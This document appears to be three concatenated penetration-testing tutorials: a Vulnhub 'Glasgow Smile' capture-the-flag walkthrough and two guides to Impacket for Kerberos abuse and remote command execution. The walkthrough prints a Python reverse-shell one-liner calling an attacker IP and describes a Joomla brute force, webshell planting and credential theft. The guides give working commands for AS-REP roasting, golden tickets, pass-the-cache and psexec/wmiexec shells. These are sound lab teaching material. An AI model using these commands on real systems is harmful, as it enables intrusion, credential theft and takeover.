Glasgow Smile 1 – 1.1

Today we are going to solve another boot2root challenge called "Glasgow Smile". It's available at Vulnhub for penetration testing. This lab is intermediate level. The credit for making this lab goes to mindsflee. Let's get started and learn how to break it down successfully.

Level: Intermediate

Since these labs are available on the Vulnhub website. Let's download the lab file from here.

Penetration Testing Methodology

Reconnaissance

§  Netdiscover

§  Nmap

Enumeration

§  Gobuster

§  Joomscan

§  CyberChef

Exploiting

• CeWL
• Brute force Joomla login with Burp
• Credential theft from the database

Privilege Escalation

§  Pspy

§  Abuse of crontab tasks

• Capture the flag

Walkthrough

Reconnaissance

As always we identify the host's IP with the "Netdiscover" tool:

So, let's start by listing all the TCP ports with nmap.

$ nmap -A -p- 192.168.10.162

Enumeration

We start by visiting the web service (port 80), we find the image of the "Joker", we check the source code and the robot.txt file, it seems that there is nothing useful.

With the help of Gobuster and the "big" dictionary (default in kali), we found the Joomla CMS deployed on the server:

We access the site and show the Joomla site with only one post on it, where there is a dialogue of two scenes from the film of the "Joker"

It's time to use "joomscan" and list version, interesting directories, backup files or something that can help us identify some vulnerability.

To work more comfortably, I always recommend that you modify the /etc/hosts/ with the name of the machine. In many cases, this host will be shown to you in the site's own source code. (Although this step is not necessary on this machine)

Exploiting

We run CeWL to create a custom dictionary using the words from the Joker/Arthur dialogue posted in Joomla.

We capture with Burp a request of the authentication request and take it to the "intruder" and introduce the dictionary we just created." (You have a good tutorial about Bruteforce login with Burp 

here)

We start the attack, filter through "Lenght" and find a single line where its value is different. There are our credentials!

We check our credentials in the Joomla administration panel, we see that we are in as "Super Admin (Joker)".

Our site step, will be to get up a reverse shell or webshell in order to have visibility inside the server.

To do this, I didn't get complicated, I directly modified the file "index.php" and put the code of the webshell of "pentestmonkey".

Great! Now, we'll put a listening netcat on port 5555 and run the command to create a reverse shell.

We run the path of the "index.php":

If everything went well, we will have a reverse shell with the user "www-data".

We execute the following commands to get an interactive shell. Once inside, we read the "Joomla" configuration file and get the credentials from the database. (There are always interesting things in the databases :D)

Privilege Escalation (user “rob”)

We logged on to the database, from the "batjoke" database and we will query the "taskforce" table. We make a query and see that there are several users with their passwords encoded in base64, we will only keep the user "rob".

We decode the password from our kali and get the credentials in plain text.

We test the credentials from the SSH service and log in with the user "rob" And we can read the first flag:

Privilege Escalation (user “Abner”)

Inside the "home" of the user "rob" we find the file "Abnerineedyourhelp". We read it and we will have the clue to get the credentials of the next user.

With the help of the "Cyberchef" website and the "rot13" module. We will be modifying the value until we get the readable text.

We repeat the previous formula, decode the password in base64 and obtain the password of the user 

"abner".

We authenticate ourselves as the new user and with it, the next flag:

Privilege Escalation (user “Penguin”)

It is probably the most complicated user to get, since I focused on scaling user privileges, without finishing listing everything that was in the different folders of Joomla. For example, this hidden zip:

Download and unzip the .zip file using the user's password "abner" (remember: I33hope99my0death000makes44more8cents00than0my0life0)

We read the file and obtain the credentials of the user "penguin".

We authenticate with the new user "penguin" and we read the flag located in his "home":

Privilege Escalation (root)

After getting to climb over the three users, now it's time to get the desired "root".

We read the file "PeopleAreStartingToNotice" (Make some coffee, you'll need it! xD)

The Joker tells us that it is developing a program (binary find) and that it can only be executed with root permissions.... Well, I'm going to save you time, since this binary is useless xD

We focus on the hidden file ".trash_old".

I gave it a lot of thought, this "Joker" was playing with me and I didn't know where to climb, until Pspy gave me the answer...

With this, it was already easy, we would only have to modify the file and add our line with a reverse python shell.

$ python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.155",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

We put a listening netcat on our kali at port 8888:

We wait a few minutes and see how the script runs in crontab:

And if all goes well, we'll have a shell as root in our kali:

Perfect! Now all we have to do is read the root flag.

Author: David Utón is Penetration Tester and security auditor for Web applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks

Contacted on LinkedIn.

Abusing Kerberos Using Impacket

In this post we are going discuss how we can abuse Kerberos protocol remotely using Python libraries “Impacket” for conducting the lateral movement attack. You can download from here.

Table of Content

·         GetNPUSERs.py

·         GetUserSPN.py

·         Ticketer.py

·         TickerCovertor.py

·         GetTGT.py

·         GetADUser.py

About Impacket

Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself.

Packets can be constructed from scratch, as well as parsed from raw data, and the object oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library.

GetNPUSers.py

This script will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). For those users with such configuration, a John The Ripper output will be generated so you can send it for cracking.

python GetNPUsers.py -dc-ip 192.168.1.105 ignite.local/ -usersfile users.txt -format john -outputfile hashes

As result the attacker will able to obtain the NTLM Hashes in side the output file Hashes and with the help of john the ripper he can go for password cracking as done here.

John –wordlist=/usr/share/wordlists/rockyou.txt hahses

This script is useful for abusing Kerberos agains AS-REP Roasting attack.

GetUSERSPN.py

This module will try to find Service Principal Names that are associated with normal user account. Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request will encrypt the ticket with the account the SPN is running under, this could be used for an offline brute forcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs.

python GetUserSPNs.py -request -dc-ip 192.168.1.105 ignite.local/yashika

Ticketer.py

This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC) allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the groups, extrasids, etc.

This will generates the ticket into ccache format which can be converted further into kirbi.

python ticketer.py -nthash f3bc61e97fb14d18c42bcbf6c3a9055f -domain-sid S-1-5-21-3523557010-2506964455-2614950430 -domain ignite.local raj

This script can be helpful for abusing kerberose against GOLDEN TICKET ATTACK.

TicketConverter.py

This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, and vice versa. As you can observe that the above script helps in generating the ccache file and with the of this script we can convert into kirbi.

python ticketConverter.py raj.ccache ticket.kirbi

GetTGT.py

This python script will request a TGT and save it as ccache for given a password, hash or aesKey. That we can be injected directory for access the requested service.

we have use getTGT to generate the ccache and used KERB5CCNAME pass the ccache file for the requested service. This is completely remote attack without using local system of compromised victim, but you need to compromise NTLM hashes for that, type following to conduct pass the ccache attack remotely.

python getTGT.py -dc-ip 192.168.1.105 -hashes :64fbae31cc352fc26af97cbdef151e03 ignite.local/yashika

export KRB5CCNAME=yashika.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip 

192.168.1.105 -no-pass -k ignite.local/yashika@WIN-S0V7KMTVLD2.ignite.local

And as result by injecting the ticket we have accessed the domain controller shell.

This script is useful in following attacks for abusing kerberos:

·         Kerberoasting and Pass the Ticket Attack Using Linux

·         Lateral Movement: Pass the Cache

·         Lateral Movement: Over Pass the Hash

GetADUser.py

This script will gather data about the domain's users and their corresponding email addresses. It will also include some extra information about last logon and last password set attributes. If no entries are returned that means users don't have email addresses specified. If so, you can use the -all-users parameter.

GetADUSers.py -all ignite.local/Administrator:Ignite@987 -dc-ip 192.168.1.105

As result it has dumped all username of the Activity Directory as shown in the image.

Remote Code Execution Using Impacket

In this post we are going discuss how we can connect to Victims machine remotely using Python libraries “Impacket” which you can download from here.

Table of Content

·         About Impacket

·         Atexec.py

·         PsExec.py

·         Smbexec.py

·         wmiexec.py

·          

About Impacket

Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself.

Packets can be constructed from scratch, as well as parsed from raw data, and the object oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library.

Atexec.py

Atexec.py : Impacket has a python library that help an attacker to access the victim host machine remotely through DCE/RPC based protocol used by CIFS hosts to access/control the AT-Scheduler Service and execute the arbitrary system command.

Syntax: Python atexec.py domain/username:password@hostIP command

Python atexec.py ignite/administrator:Ignite@987@192.168.1.105 systeminfo

As you can see we have obtain the the system information with the help of above commad.

PsExec.py

PSEXEC like functionality example using RemComSvc, with the help of python script we can use this module for connecting host machine remotely thus you need to execute following command.

Syntax: Python psexec.py domain/username:password@hostIP

Python psexec.py ignite/administrator:Ignite@987@192.168.1.105 

As you can see we have obtain the system shell with the help of above command.

Smbexec.py

Smbexec.py uses a similar approach to psexec w/o using RemComSvc. This script works in two ways:

1)      share mode: you specify a share, and everything is done through that share.

2)      server mode: if for any reason there's no share available, this script will launch a local SMB server, so the output of the commands executed are sent back by the target machine into a locally shared folder. Keep in mind you would need root access to bind to port 445 in the local machine.

Syntax: Python smbexec.py domain/username:password@hostIP

Python smbexec.py ignite/administrator:Ignite@987@192.168.1.105

As you can see we have obtain the the system shell with the help of above commad.

wmiexec.py

A similar approach to smbexec but executing commands through WMI. Main advantage here is it runs under the user (has to be Admin) account, not SYSTEM, plus, it doesn't generate noisy messages in the event log that smbexec.py does when creating a service. Drawback is it needs DCOM, hence, I have to be able to access DCOM ports at the target machine.

Syntax: Python wmiexec.py domain/username:password@hostIP

Python wmiexec.py ignite/administrator:Ignite@987@192.168.1.105 dir

As you can see we have obtain the the system information with the help of above commad.